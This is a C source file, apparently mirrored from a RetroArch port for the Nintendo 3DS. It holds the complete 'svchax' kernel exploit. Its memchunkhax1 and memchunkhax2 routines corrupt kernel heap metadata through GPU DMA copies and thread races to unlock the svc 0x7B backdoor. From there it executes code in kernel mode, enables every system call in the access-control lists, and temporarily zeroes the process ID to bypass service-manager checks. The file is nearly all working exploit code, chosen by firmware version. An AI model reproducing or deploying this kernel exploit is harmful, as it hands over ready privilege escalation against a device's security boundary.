mirror of
https://github.com/CTCaer/RetroArch.git
synced 2024-12-21 02:08:16 +00:00
506 lines
15 KiB
C
506 lines
15 KiB
C
#include <3ds.h>
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#include <stdio.h>
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#include <string.h>
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#include <malloc.h>
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#define CURRENT_KTHREAD 0xFFFF9000
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#define CURRENT_KPROCESS 0xFFFF9004
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#define CURRENT_KPROCESS_HANDLE 0xFFFF8001
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#define RESOURCE_LIMIT_THREADS 0x2
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#define MCH2_THREAD_COUNT_MAX 0x20
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#define MCH2_THREAD_STACKS_SIZE 0x1000
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#define SVC_ACL_OFFSET(svc_id) (((svc_id) >> 5) << 2)
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#define SVC_ACL_MASK(svc_id) (0x1 << ((svc_id) & 0x1F))
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#define THREAD_PAGE_ACL_OFFSET 0xF38
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u32 __ctr_svchax = 0;
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u32 __ctr_svchax_srv = 0;
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extern void* __service_ptr;
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typedef u32(*backdoor_fn)(u32 arg0, u32 arg1);
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__attribute((naked))
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static u32 svc_7b(backdoor_fn entry_fn, ...) // can pass up to two arguments to entry_fn(...)
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{
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__asm__ volatile(
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"push {r0, r1, r2} \n\t"
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"mov r3, sp \n\t"
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"add r0, pc, #12 \n\t"
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"svc 0x7B \n\t"
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"add sp, sp, #8 \n\t"
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"ldr r0, [sp], #4 \n\t"
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"bx lr \n\t"
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"cpsid aif \n\t"
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"ldr r2, [r3], #4 \n\t"
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"ldmfd r3!, {r0, r1} \n\t"
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"push {r3, lr} \n\t"
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"blx r2 \n\t"
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"pop {r3, lr} \n\t"
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"str r0, [r3, #-4]! \n\t"
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"bx lr \n\t");
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return 0;
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}
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static void k_enable_all_svcs(u32 isNew3DS)
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{
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u32* thread_ACL = *(*(u32***)CURRENT_KTHREAD + 0x22) - 0x6;
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u32* process_ACL = *(u32**)CURRENT_KPROCESS + (isNew3DS ? 0x24 : 0x22);
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memset(thread_ACL, 0xFF, 0x10);
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memset(process_ACL, 0xFF, 0x10);
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}
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static u32 k_read_kaddr(u32* kaddr)
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{
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return *kaddr;
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}
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static u32 read_kaddr(u32 kaddr)
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{
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return svc_7b((backdoor_fn)k_read_kaddr, kaddr);
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}
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static u32 k_write_kaddr(u32* kaddr, u32 val)
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{
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*kaddr = val;
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return 0;
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}
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static void write_kaddr(u32 kaddr, u32 val)
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{
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svc_7b((backdoor_fn)k_write_kaddr, kaddr, val);
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}
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__attribute__((naked))
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static u32 get_thread_page(void)
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{
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__asm__ volatile(
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"sub r0, sp, #8 \n\t"
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"mov r1, #1 \n\t"
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"mov r2, #0 \n\t"
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"svc 0x2A \n\t"
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"mov r0, r1, LSR#12 \n\t"
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"mov r0, r0, LSL#12 \n\t"
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"bx lr \n\t");
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return 0;
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}
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typedef struct
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{
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Handle started_event;
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Handle lock;
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volatile u32 target_kaddr;
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volatile u32 target_val;
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} mch2_thread_args_t;
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typedef struct
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{
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u32* stack_top;
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Handle handle;
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bool keep;
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mch2_thread_args_t args;
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} mch2_thread_t;
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typedef struct
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{
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u32 old_cpu_time_limit;
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bool isNew3DS;
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u32 kernel_fcram_mapping_offset;
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Handle arbiter;
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volatile u32 alloc_address;
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volatile u32 alloc_size;
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u8* flush_buffer;
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Handle dummy_threads_lock;
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Handle target_threads_lock;
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Handle main_thread_lock;
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u32* thread_page_va;
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u32 thread_page_kva;
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u32 threads_limit;
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Handle alloc_thread;
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Handle poll_thread;
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mch2_thread_t threads[MCH2_THREAD_COUNT_MAX];
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} mch2_vars_t;
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static void alloc_thread_entry(mch2_vars_t* mch2)
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{
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u32 tmp;
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svcControlMemory(&tmp, mch2->alloc_address, 0x0, mch2->alloc_size, MEMOP_ALLOC, MEMPERM_READ | MEMPERM_WRITE);
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svcExitThread();
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}
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static void dummy_thread_entry(Handle lock)
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{
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svcWaitSynchronization(lock, U64_MAX);
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svcExitThread();
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}
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static void check_tls_thread_entry(bool* keep)
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{
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*keep = !((u32)getThreadLocalStorage() & 0xFFF);
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svcExitThread();
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}
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static void target_thread_entry(mch2_thread_args_t* args)
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{
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svcSignalEvent(args->started_event);
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svcWaitSynchronization(args->lock, U64_MAX);
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if (args->target_kaddr)
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write_kaddr(args->target_kaddr, args->target_val);
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svcExitThread();
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}
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static u32 get_first_free_basemem_page(bool isNew3DS)
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{
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s64 v1;
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int memused_base;
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int memused_base_linear; // guessed
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memused_base = osGetMemRegionUsed(MEMREGION_BASE);
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svcGetSystemInfo(&v1, 2, 0);
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memused_base_linear = 0x6C000 + v1 +
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(osGetKernelVersion() > SYSTEM_VERSION(2, 49, 0) ? (isNew3DS ? 0x2000 : 0x1000) : 0x0);
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return (osGetKernelVersion() > SYSTEM_VERSION(2, 40, 0) ? 0xE0000000 : 0xF0000000) // kernel FCRAM mapping
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+ (isNew3DS ? 0x10000000 : 0x08000000) // FCRAM size
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- (memused_base - memused_base_linear) // memory usage for pages allocated without the MEMOP_LINEAR flag
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- 0x1000; // skip to the start addr of the next free page
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}
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static u32 get_threads_limit(void)
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{
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Handle resource_limit_handle;
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s64 thread_limit_current;
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s64 thread_limit_max;
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u32 thread_limit_name = RESOURCE_LIMIT_THREADS;
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svcGetResourceLimit(&resource_limit_handle, CURRENT_KPROCESS_HANDLE);
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svcGetResourceLimitCurrentValues(&thread_limit_current, resource_limit_handle, &thread_limit_name, 1);
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svcGetResourceLimitLimitValues(&thread_limit_max, resource_limit_handle, &thread_limit_name, 1);
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svcCloseHandle(resource_limit_handle);
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if (thread_limit_max > MCH2_THREAD_COUNT_MAX)
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thread_limit_max = MCH2_THREAD_COUNT_MAX;
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return thread_limit_max - thread_limit_current;
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}
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static void do_memchunkhax2(void)
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{
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static u8 flush_buffer[0x8000];
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static u8 thread_stacks[MCH2_THREAD_STACKS_SIZE];
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int i;
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u32 tmp;
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mch2_vars_t mch2 = {0};
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mch2.flush_buffer = flush_buffer;
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mch2.threads_limit = get_threads_limit();
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mch2.kernel_fcram_mapping_offset = (osGetKernelVersion() > SYSTEM_VERSION(2, 40, 0)) ? 0xC0000000 : 0xD0000000;
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for (i = 0; i < MCH2_THREAD_COUNT_MAX; i++)
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mch2.threads[i].stack_top = (u32*)((u32)thread_stacks + (i + 1) * (MCH2_THREAD_STACKS_SIZE / MCH2_THREAD_COUNT_MAX));
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APT_CheckNew3DS(&mch2.isNew3DS);
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APT_GetAppCpuTimeLimit(&mch2.old_cpu_time_limit);
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APT_SetAppCpuTimeLimit(5);
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for (i = 0; i < mch2.threads_limit; i++)
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{
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svcCreateThread(&mch2.threads[i].handle, (ThreadFunc)check_tls_thread_entry, (u32)&mch2.threads[i].keep,
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mch2.threads[i].stack_top, 0x18, 0);
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svcWaitSynchronization(mch2.threads[i].handle, U64_MAX);
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}
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for (i = 0; i < mch2.threads_limit; i++)
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if (!mch2.threads[i].keep)
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svcCloseHandle(mch2.threads[i].handle);
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svcCreateEvent(&mch2.dummy_threads_lock, 1);
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svcClearEvent(mch2.dummy_threads_lock);
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for (i = 0; i < mch2.threads_limit; i++)
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if (!mch2.threads[i].keep)
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svcCreateThread(&mch2.threads[i].handle, (ThreadFunc)dummy_thread_entry, mch2.dummy_threads_lock,
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mch2.threads[i].stack_top, 0x3F - i, 0);
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svcSignalEvent(mch2.dummy_threads_lock);
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for (i = mch2.threads_limit - 1; i >= 0; i--)
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if (!mch2.threads[i].keep)
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{
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svcWaitSynchronization(mch2.threads[i].handle, U64_MAX);
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svcCloseHandle(mch2.threads[i].handle);
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mch2.threads[i].handle = 0;
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}
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svcCloseHandle(mch2.dummy_threads_lock);
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u32 fragmented_address = 0;
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mch2.arbiter = __sync_get_arbiter();
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u32 linear_buffer;
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svcControlMemory(&linear_buffer, 0, 0, 0x1000, MEMOP_ALLOC_LINEAR, MEMPERM_READ | MEMPERM_WRITE);
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u32 linear_size = 0xF000;
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u32 skip_pages = 2;
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mch2.alloc_size = ((((linear_size - (skip_pages << 12)) + 0x1000) >> 13) << 12);
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u32 mem_free = osGetMemRegionFree(MEMREGION_APPLICATION);
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u32 fragmented_size = mem_free - linear_size;
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extern u32 __heapBase;
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extern u32 __heap_size;
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fragmented_address = __heapBase + __heap_size;
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u32 linear_address;
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mch2.alloc_address = fragmented_address + fragmented_size;
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svcControlMemory(&linear_address, 0x0, 0x0, linear_size, MEMOP_ALLOC_LINEAR,
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MEMPERM_READ | MEMPERM_WRITE);
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if (fragmented_size)
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svcControlMemory(&tmp, (u32)fragmented_address, 0x0, fragmented_size, MEMOP_ALLOC,
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MEMPERM_READ | MEMPERM_WRITE);
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if (skip_pages)
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svcControlMemory(&tmp, (u32)linear_address, 0x0, (skip_pages << 12), MEMOP_FREE, MEMPERM_DONTCARE);
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for (i = skip_pages; i < (linear_size >> 12) ; i += 2)
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svcControlMemory(&tmp, (u32)linear_address + (i << 12), 0x0, 0x1000, MEMOP_FREE, MEMPERM_DONTCARE);
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u32 alloc_address_kaddr = osConvertVirtToPhys((void*)linear_address) + mch2.kernel_fcram_mapping_offset;
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mch2.thread_page_kva = get_first_free_basemem_page(mch2.isNew3DS) - 0x10000; // skip down 16 pages
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((u32*)linear_buffer)[0] = 1;
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((u32*)linear_buffer)[1] = mch2.thread_page_kva;
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((u32*)linear_buffer)[2] = alloc_address_kaddr + (((mch2.alloc_size >> 12) - 3) << 13) + (skip_pages << 12);
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u32 dst_memchunk = linear_address + (((mch2.alloc_size >> 12) - 2) << 13) + (skip_pages << 12);
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memcpy(flush_buffer, flush_buffer + 0x4000, 0x4000);
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GSPGPU_InvalidateDataCache((void*)dst_memchunk, 16);
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GSPGPU_FlushDataCache((void*)linear_buffer, 16);
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memcpy(flush_buffer, flush_buffer + 0x4000, 0x4000);
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/* can't clear gspEvents[GSPGPU_EVENT_PPF]), directly so execute a dummy copy
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* and use gspWaitForEvent to clear it. */
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/* LightEvent_Clear(&gspEvents[GSPGPU_EVENT_PPF]); */
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GX_TextureCopy((void*)linear_buffer, 0, (void*)dst_memchunk, 0, 16, 8);
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gspWaitForEvent(GSPGPU_EVENT_PPF, false);
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svcCreateThread(&mch2.alloc_thread, (ThreadFunc)alloc_thread_entry, (u32)&mch2,
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mch2.threads[MCH2_THREAD_COUNT_MAX - 1].stack_top, 0x3F, 1);
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while ((u32) svcArbitrateAddress(mch2.arbiter, mch2.alloc_address, ARBITRATION_WAIT_IF_LESS_THAN_TIMEOUT, 0,
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0) == 0xD9001814);
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GX_TextureCopy((void*)linear_buffer, 0, (void*)dst_memchunk, 0, 16, 8);
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memcpy(flush_buffer, flush_buffer + 0x4000, 0x4000);
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gspWaitForEvent(GSPGPU_EVENT_PPF, false);
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svcWaitSynchronization(mch2.alloc_thread, U64_MAX);
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svcCloseHandle(mch2.alloc_thread);
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u32* mapped_page = (u32*)(mch2.alloc_address + mch2.alloc_size - 0x1000);
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volatile u32* thread_ACL = &mapped_page[THREAD_PAGE_ACL_OFFSET >> 2];
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svcCreateEvent(&mch2.main_thread_lock, 0);
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svcCreateEvent(&mch2.target_threads_lock, 1);
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svcClearEvent(mch2.target_threads_lock);
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for (i = 0; i < mch2.threads_limit; i++)
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{
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if (mch2.threads[i].keep)
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continue;
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mch2.threads[i].args.started_event = mch2.main_thread_lock;
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mch2.threads[i].args.lock = mch2.target_threads_lock;
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mch2.threads[i].args.target_kaddr = 0;
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thread_ACL[0] = 0;
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GSPGPU_FlushDataCache((void*)thread_ACL, 16);
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GSPGPU_InvalidateDataCache((void*)thread_ACL, 16);
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svcClearEvent(mch2.main_thread_lock);
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svcCreateThread(&mch2.threads[i].handle, (ThreadFunc)target_thread_entry, (u32)&mch2.threads[i].args,
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mch2.threads[i].stack_top, 0x18, 0);
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svcWaitSynchronization(mch2.main_thread_lock, U64_MAX);
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if (thread_ACL[0])
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{
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thread_ACL[SVC_ACL_OFFSET(0x7B) >> 2] = SVC_ACL_MASK(0x7B);
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GSPGPU_FlushDataCache((void*)thread_ACL, 16);
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GSPGPU_InvalidateDataCache((void*)thread_ACL, 16);
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mch2.threads[i].args.target_kaddr = get_thread_page() + THREAD_PAGE_ACL_OFFSET + SVC_ACL_OFFSET(0x7B);
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mch2.threads[i].args.target_val = SVC_ACL_MASK(0x7B);
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break;
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}
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}
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svcSignalEvent(mch2.target_threads_lock);
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for (i = 0; i < mch2.threads_limit; i++)
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{
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if (!mch2.threads[i].handle)
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continue;
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if (!mch2.threads[i].keep)
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svcWaitSynchronization(mch2.threads[i].handle, U64_MAX);
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svcCloseHandle(mch2.threads[i].handle);
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}
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svcCloseHandle(mch2.target_threads_lock);
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svcCloseHandle(mch2.main_thread_lock);
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svcControlMemory(&tmp, mch2.alloc_address, 0, mch2.alloc_size, MEMOP_FREE, MEMPERM_DONTCARE);
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write_kaddr(alloc_address_kaddr + linear_size - 0x3000 + 0x4, alloc_address_kaddr + linear_size - 0x1000);
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svcControlMemory(&tmp, (u32)fragmented_address, 0x0, fragmented_size, MEMOP_FREE, MEMPERM_DONTCARE);
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for (i = 1 + skip_pages; i < (linear_size >> 12) ; i += 2)
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svcControlMemory(&tmp, (u32)linear_address + (i << 12), 0x0, 0x1000, MEMOP_FREE, MEMPERM_DONTCARE);
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svcControlMemory(&tmp, linear_buffer, 0, 0x1000, MEMOP_FREE, MEMPERM_DONTCARE);
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APT_SetAppCpuTimeLimit(mch2.old_cpu_time_limit);
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}
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static void gspwn(u32 dst, u32 src, u32 size, u8* flush_buffer)
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{
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extern Handle gspEvents[GSPGPU_EVENT_MAX];
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memcpy(flush_buffer, flush_buffer + 0x4000, 0x4000);
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GSPGPU_InvalidateDataCache((void*)dst, size);
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GSPGPU_FlushDataCache((void*)src, size);
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memcpy(flush_buffer, flush_buffer + 0x4000, 0x4000);
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GX_TextureCopy((void*)src, 0, (void*)dst, 0, size, 8);
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gspWaitForEvent(GSPGPU_EVENT_PPF, false);
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memcpy(flush_buffer, flush_buffer + 0x4000, 0x4000);
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}
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/* pseudo-code:
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* if(val2)
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* {
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* *(u32*)val1 = val2;
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* *(u32*)(val2 + 8) = (val1 - 4);
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* }
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* else
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* *(u32*)val1 = 0x0;
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*/
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// X-X--X-X
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// X-XXXX-X
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static void memchunkhax1_write_pair(u32 val1, u32 val2)
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{
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u32 linear_buffer;
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u8* flush_buffer;
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u32 tmp;
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u32* next_ptr3;
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u32* prev_ptr3;
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u32* next_ptr1;
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u32* prev_ptr6;
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svcControlMemory(&linear_buffer, 0, 0, 0x10000, MEMOP_ALLOC_LINEAR, MEMPERM_READ | MEMPERM_WRITE);
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flush_buffer = (u8*)(linear_buffer + 0x8000);
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svcControlMemory(&tmp, linear_buffer + 0x1000, 0, 0x1000, MEMOP_FREE, 0);
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svcControlMemory(&tmp, linear_buffer + 0x3000, 0, 0x2000, MEMOP_FREE, 0);
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svcControlMemory(&tmp, linear_buffer + 0x6000, 0, 0x1000, MEMOP_FREE, 0);
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next_ptr1 = (u32*)(linear_buffer + 0x0004);
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gspwn(linear_buffer + 0x0000, linear_buffer + 0x1000, 16, flush_buffer);
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next_ptr3 = (u32*)(linear_buffer + 0x2004);
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prev_ptr3 = (u32*)(linear_buffer + 0x2008);
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gspwn(linear_buffer + 0x2000, linear_buffer + 0x3000, 16, flush_buffer);
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prev_ptr6 = (u32*)(linear_buffer + 0x5008);
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gspwn(linear_buffer + 0x5000, linear_buffer + 0x6000, 16, flush_buffer);
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*next_ptr1 = *next_ptr3;
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*prev_ptr6 = *prev_ptr3;
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|
|
|
*prev_ptr3 = val1 - 4;
|
|
*next_ptr3 = val2;
|
|
gspwn(linear_buffer + 0x3000, linear_buffer + 0x2000, 16, flush_buffer);
|
|
svcControlMemory(&tmp, 0, 0, 0x2000, MEMOP_ALLOC_LINEAR, MEMPERM_READ | MEMPERM_WRITE);
|
|
|
|
gspwn(linear_buffer + 0x1000, linear_buffer + 0x0000, 16, flush_buffer);
|
|
gspwn(linear_buffer + 0x6000, linear_buffer + 0x5000, 16, flush_buffer);
|
|
|
|
svcControlMemory(&tmp, linear_buffer + 0x0000, 0, 0x1000, MEMOP_FREE, 0);
|
|
svcControlMemory(&tmp, linear_buffer + 0x2000, 0, 0x4000, MEMOP_FREE, 0);
|
|
svcControlMemory(&tmp, linear_buffer + 0x7000, 0, 0x9000, MEMOP_FREE, 0);
|
|
|
|
}
|
|
|
|
static void do_memchunkhax1(void)
|
|
{
|
|
u32 saved_vram_value = *(u32*)0x1F000008;
|
|
|
|
// 0x1F000000 contains the enable bit for svc 0x7B
|
|
memchunkhax1_write_pair(get_thread_page() + THREAD_PAGE_ACL_OFFSET + SVC_ACL_OFFSET(0x7B), 0x1F000000);
|
|
|
|
write_kaddr(0x1F000008, saved_vram_value);
|
|
}
|
|
|
|
Result svchax_init(bool patch_srv)
|
|
{
|
|
bool isNew3DS;
|
|
APT_CheckNew3DS(&isNew3DS);
|
|
|
|
u32 kver = osGetKernelVersion();
|
|
|
|
if (!__ctr_svchax)
|
|
{
|
|
if (__service_ptr)
|
|
{
|
|
if (kver > SYSTEM_VERSION(2, 50, 11))
|
|
return -1;
|
|
else if (kver > SYSTEM_VERSION(2, 46, 0))
|
|
do_memchunkhax2();
|
|
else
|
|
do_memchunkhax1();
|
|
}
|
|
|
|
svc_7b((backdoor_fn)k_enable_all_svcs, isNew3DS);
|
|
|
|
__ctr_svchax = 1;
|
|
}
|
|
|
|
if (patch_srv && !__ctr_svchax_srv)
|
|
{
|
|
u32 PID_kaddr = read_kaddr(CURRENT_KPROCESS) + (isNew3DS ? 0xBC : (kver > SYSTEM_VERSION(2, 40, 0)) ? 0xB4 : 0xAC);
|
|
u32 old_PID = read_kaddr(PID_kaddr);
|
|
write_kaddr(PID_kaddr, 0);
|
|
srvExit();
|
|
srvInit();
|
|
write_kaddr(PID_kaddr, old_PID);
|
|
|
|
__ctr_svchax_srv = 1;
|
|
}
|
|
|
|
return 0;
|
|
}
|